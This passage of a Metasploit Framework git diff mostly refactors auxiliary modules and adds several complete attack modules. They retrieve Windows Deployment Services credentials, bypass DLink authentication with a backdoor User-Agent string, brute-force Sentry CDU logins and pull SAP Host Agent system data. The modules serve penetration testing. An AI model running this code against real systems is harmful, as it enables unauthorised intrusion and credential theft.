log + # @return [String] filename where we are storing the data + def record_data(data, cli) + @client_cache ||= Hash.new({}) + @client_cache[cli.peerhost]['file'] ||= store_loot( + "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + ) + file = @client_cache[cli.peerhost]['file'] + + @client_cache[cli.peerhost]['data'] ||= [] + @client_cache[cli.peerhost]['data'].push(data) + data_str = JSON.generate(@client_cache[cli.peerhost]['data']) + + File.write(file, data_str) + + file + end + ### ASSEMBLE THE WEBARCHIVE XML ### # @return [String] contents of webarchive as an XML document @@ -531,9 +554,11 @@ class Metasploit3 < Msf::Auxiliary var sent = false; req.open('GET', '#{url}', true); req.onreadystatechange = function() { - if (!sent) { - sendData('response_headers', req.getAllResponseHeaders()); - sendData('response_body', req.responseText); + if (req.readyState==4 && !sent) { + sendData('#{url}', { + response_headers: req.getAllResponseHeaders(), + response_body: req.responseText + }); sent = true; } }; @@ -647,8 +672,7 @@ class Metasploit3 < Msf::Auxiliary %Q| window.sendData = function(key, val) { var data = {}; - if (key && val) data[key] = val; - if (!val) data = key; + data[key] = val; window.top.postMessage(JSON.stringify(data), "*") }; | diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 805b3a90ee..e31d787972 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -50,10 +50,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{datastore['RHOST']}:#{datastore['RPORT']}" - end - def fingerprint(response) if(response.headers.has_key?('Server') ) @@ -172,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary out, filename = fingerprint(res) print_status("#{peer} #{out}") if out - if(out =~ /Not Vulnerable/) + if(out =~ /Not Vulnerable/) print_status("#{peer} isn't vulnerable to this attack") return end diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index e1d37e3949..836bd4119a 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -124,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary query = @res.search(host, "A") if query query.answer.each do |rr| + next unless rr.type == "A" record = {} record[:host] = host record[:type] = "A" @@ -134,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary query1 = @res.search(host, "AAAA") if query1 query1.answer.each do |rr| + next unless rr.type == "AAAA" record = {} record[:host] = host record[:type] = "AAAA" @@ -189,6 +191,7 @@ class Metasploit3 < Msf::Auxiliary query = @res.query(target, "TXT") return results if not query query.answer.each do |rr| + next unless rr.type == "TXT" record = {} record[:host] = target record[:text] = rr.txt diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index cfc720ed67..5ff39e7e1f 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -41,10 +41,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def execute_php_code(code, opts = {}) param_name = Rex::Text.rand_text_alpha(6) padding = Rex::Text.rand_text_alpha(6) diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 7b885b7da6..38bca130cf 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -47,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def get_domain_info(session) res = send_request_cgi({ 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb new file mode 100644 index 0000000000..ae443334ef --- /dev/null +++ b/modules/auxiliary/parser/unattend.rb @@ -0,0 +1,71 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Auxilliary Parser Windows Unattend Passwords', + 'Description' => %q{ + This module parses Unattend files in the target directory. + + See also: post/windows/gather/enum_unattend + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ', + ], + 'References' => + [ + ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + ['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580'] + ], + )) + + register_options([ + OptPath.new('PATH', [true, 'Directory or file to parse.']), + OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), + ]) + end + + def run + if datastore['RECURSIVE'] + ext = "**/*.xml" + else + ext = "/*.xml" + end + + if datastore['PATH'].ends_with('.xml') + filepath = datastore['PATH'] + else + filepath = File.join(datastore['PATH'], ext) + end + + Dir.glob(filepath) do |item| + print_status "Processing #{item}" + file = File.read(item) + begin + xml = REXML::Document.new(file) + rescue REXML::ParseException => e + print_error("#{item} invalid xml format.") + vprint_line(e.message) + next + end + + results = Rex::Parser::Unattend.parse(xml) + table = Rex::Parser::Unattend.create_table(results) + print_line table.to_s unless table.nil? + print_line + end + end +end + diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb new file mode 100644 index 0000000000..64554f54fa --- /dev/null +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -0,0 +1,232 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/proto/dcerpc/wdscp' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', + 'Description' => %q{ + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] + ], + )) + + register_options( + [ + Opt::RPORT(5040), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + + register_advanced_options( + [ + OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) + ], self.class) + end + + def run_host(ip) + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Rex::ConnectionError => e + print_error("#{ip}:#{rport} Connection Error: #{e}") + ensure + # Ensure socket is pulled down afterwards + self.dcerpc.socket.close rescue nil + self.dcerpc = nil + self.handle = nil + end + end + + def query_host(rhost) + # Create a handler with our UUID and Transfer Syntax + + self.handle = Rex::Proto::DCERPC::Handle.new( + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) + + print_status("Binding to #{handle} ...") + + self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) + vprint_good("Bound to #{handle}") + + report_service( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + ) + + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Windows Deployment Services', + 'Indent' => 1, + 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] + }) + + creds_found = false + + WDS_CONST::ARCHITECTURE.each do |architecture| + if architecture[0] == :ARM && !datastore['ENUM_ARM'] + vprint_status "Skipping #{architecture[0]} architecture due to adv option" + next + end + + begin + result = request_client_unattend(architecture) + rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e + vprint_error(e.to_s) + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return nil + end + + unless result.nil? + loot_unattend(architecture[0], result) + results = parse_client_unattend(result) + + results.each do |result| + unless result.empty? + if result['username'] and result['password'] + print_good("Retrived #{result['type']} credentials for #{architecture[0]}") + creds_found = true + domain = "" + domain = result['domain'] if result['domain'] + report_creds(domain, result['username'], result['password']) + table << [architecture[0], result['type'], domain, result['username'], result['password']] + end + end + end + end + end + + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") + end + end + + def request_client_unattend(architecture) + # Construct WDS Control Protocol Message + packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + + guid = Rex::Text.rand_text_hex(32) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) + + # Not sure what this padding is for... + mac = [0x30].pack('C') * 20 + mac << Rex::Text.rand_text_hex(12) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) + + arch = [architecture[1]].pack('C') + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch) + + version = [1].pack('V') + packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) + + wdsc_packet = packet.create + + vprint_status("Sending #{architecture[0]} Client Unattend request ...") + dcerpc.call(0, wdsc_packet, false) + timeout = datastore['DCERPC::ReadTimeout'] + response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout) + + if (response and response.stub_data) + vprint_status('Received response ...') + data = response.stub_data + + # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 + op_error_code = data.unpack('v*')[19] + if op_error_code == 0 + if data.length < 277 + vprint_error("No Unattend received for #{architecture[0]} architecture") + return nil + else + vprint_status("Received #{architecture[0]} unattend file ...") + return extract_unattend(data) + end + else + vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") + return nil + end + end + end + + def extract_unattend(data) + start = data.index('') + if start and finish + finish += 10 + return data[start..finish] + else + print_error("Incomplete transmission or malformed unattend file.") + return nil + end + end + + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) + return Rex::Parser::Unattend.parse(xml).flatten + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + return nil + end + end + + def loot_unattend(archi, data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end +end diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 5ee7f96f4b..f0582bd158 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -52,10 +52,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) uri = normalize_uri(target_uri.path) res = send_request_cgi({ diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index 8395d7855c..aa209ca6bb 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def peer - "#{rhost}:#{rport}" - end - def run_host(rhost) url = normalize_uri(datastore['URI'], '/index.php/members') diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb new file mode 100644 index 0000000000..1b36a906ce --- /dev/null +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -0,0 +1,90 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'DLink User-Agent Backdoor Scanner', + 'Description' => %q{ + This module attempts to find DLink devices running Alphanetworks web interfaces affected + by the backdoor found on the User-Agent header. This module has been tested successfully + on a DIR-100 device with firmware version v1.13. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery + 'Michael Messner ', # Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ] + ], + # First documented in detail by Craig, but looks like it's been known + # (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru + 'DisclosureDate' => "Oct 12 2013" + ) + + end + + def is_alpha_web_server? + begin + res = send_request_cgi({'uri' => '/'}) + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return false + end + + # Signatures: + # * httpd-alphanetworks/2.23 + # * Alpha_webserv + if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i + return true + end + + return false + end + + def run_host(ip) + + if is_alpha_web_server? + vprint_good("#{ip} - Alphanetworks web server detected") + else + vprint_error("#{ip} - Alphanetworks web server doesn't detected") + return + end + + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'agent' => 'xmlset_roodkcableoj28840ybtide' + }) + rescue ::Rex::ConnectionError + vprint_error("#{ip}:#{rport} - Failed to connect to the web server") + return + end + + # DIR-100 device with firmware version v1.13 + # not sure if this matches on other devices + # TODO: Testing on other devices + if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/ + print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"") + end + + end +end diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 55d3459652..aa742336a4 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary end def gen_blank_passwords(users, credentials) - return credentials + return credentials end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index 8c5520f18b..b60e114e48 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 3e473fde5b..6ce2410a29 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -49,10 +49,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index a407afe910..017386429e 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 7cf364efb2..59b845a21e 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -37,11 +37,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - def anonymous_access? res = send_request_raw({'uri' => '/'}) return true if res and res.body =~ /username = "hpsmh_anonymous"/ diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index eee1f5fd82..5374e5ea91 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'HTTP Version Detection', - 'Description' => 'Display version information about each system', + 'Description' => 'Display version information about each system.', 'Author' => 'hdm', 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index 9bbedcb9c5..3f35411782 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -29,10 +29,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def run_host(ip) tpath = normalize_uri(target_uri.path) if tpath[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index 4badac907b..e17ba73800 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -31,10 +31,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def run_host(ip) tpath = normalize_uri(target_uri.path) if tpath[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index d00ed2b3be..39c9568e54 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -30,10 +30,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def os_fingerprint(response) if not response.headers.has_key?('Server') return "Unkown OS (No Server Header)" diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index 5d08288810..a31cb0e93b 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -56,14 +56,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - - def peer(rhost) - "#{rhost}:#{rport}" - end - def get_first_session res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "index.php"), diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index a78f0077f9..09c45e8610 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -46,14 +46,6 @@ class Metasploit4 < Msf::Auxiliary end - def rport - datastore['RPORT'] - end - - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) traversal = "..\\" * datastore['DEPTH'] diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 6e81d3614d..7848dee914 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -47,14 +47,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) record = "SRS4103#{datastore['RFILE']}" diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 4561e0835f..23e6761974 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -32,10 +32,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def run_host(ip) File.open(datastore['TARGETURIS'], 'rb').each_line do |line| test_uri = line.chomp diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index c4efa98410..861df7236b 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb new file mode 100644 index 0000000000..2ba6434e46 --- /dev/null +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -0,0 +1,112 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', + 'Description' => %{ + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power + Distribution Unit) web login portals, and performs login brute force + to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) + ], self.class) + end + + def run_host(ip) + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") + return + end + + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + # + # What's the point of running this module if the app actually isn't Sentry + # + def is_app_sentry? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return false + end + + if (res and res.body.include?("Sentry Switched CDU")) + vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") + return true + else + return false + end + end + + # + # Brute-force the login page + # + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/index.html', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort + end + end +end diff --git a/modules/auxiliary/scanner/http/sqlmap.rb b/modules/auxiliary/scanner/http/sqlmap.rb index e41e8c6b2f..cf4874cd19 100644 --- a/modules/auxiliary/scanner/http/sqlmap.rb +++ b/modules/auxiliary/scanner/http/sqlmap.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary sqlmap_url << "://" sqlmap_url << wmap_target_host sqlmap_url << ":" - sqlmap_url << wmap_target_port + sqlmap_url << wmap_target_port.to_s sqlmap_url << "/" sqlmap_url << datastore['PATH'] diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index 1556008cf8..23566ad87a 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -51,12 +51,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - - def peer - "#{rhost}:#{rport}" - end - - def auth(username, password, sid, last_login) res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb new file mode 100644 index 0000000000..f444d97cf7 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -0,0 +1,382 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + + def initialize + super( + 'Name' => 'SAP Host Agent Information Disclosure', + 'Description' => %q{ + This module attempts to retrieve Computer and OS info from Host Agent + through the SAP HostControl service. + }, + 'References' => + [ + # General + ['CVE', '2013-3319'], + ['OSVDB', '95616'], + ['BID', '61402'], + ['URL', 'https://service.sap.com/sap/support/notes/1816536'], + ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] + ], + 'Author' => + [ + 'Bruno Morisson ' # Discovery and msf module + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(1128) + ], self.class) + + register_autofilter_ports([1128]) + + + end + + def initialize_tables + + @computer_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) + + @os_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + + @process_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) + + @fs_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Size", + "Available", + "Remote" + ]) + + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + + end + + # Parses an array of mProperties elements. For every mProperties element, + # if there is an item with mValue ITSAMComputerSystem, then collect the + # values for the items with mName in (Name, Hostnames, IPAdresses) + def parse_computer_info(data) + success = false + data.each do |properties| + name, hostnames, addresses = "" + + if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty? + next + end + + item_list = properties.get_elements("item") + item_list.each do |item| + item_name = item.get_elements("mName").first.text 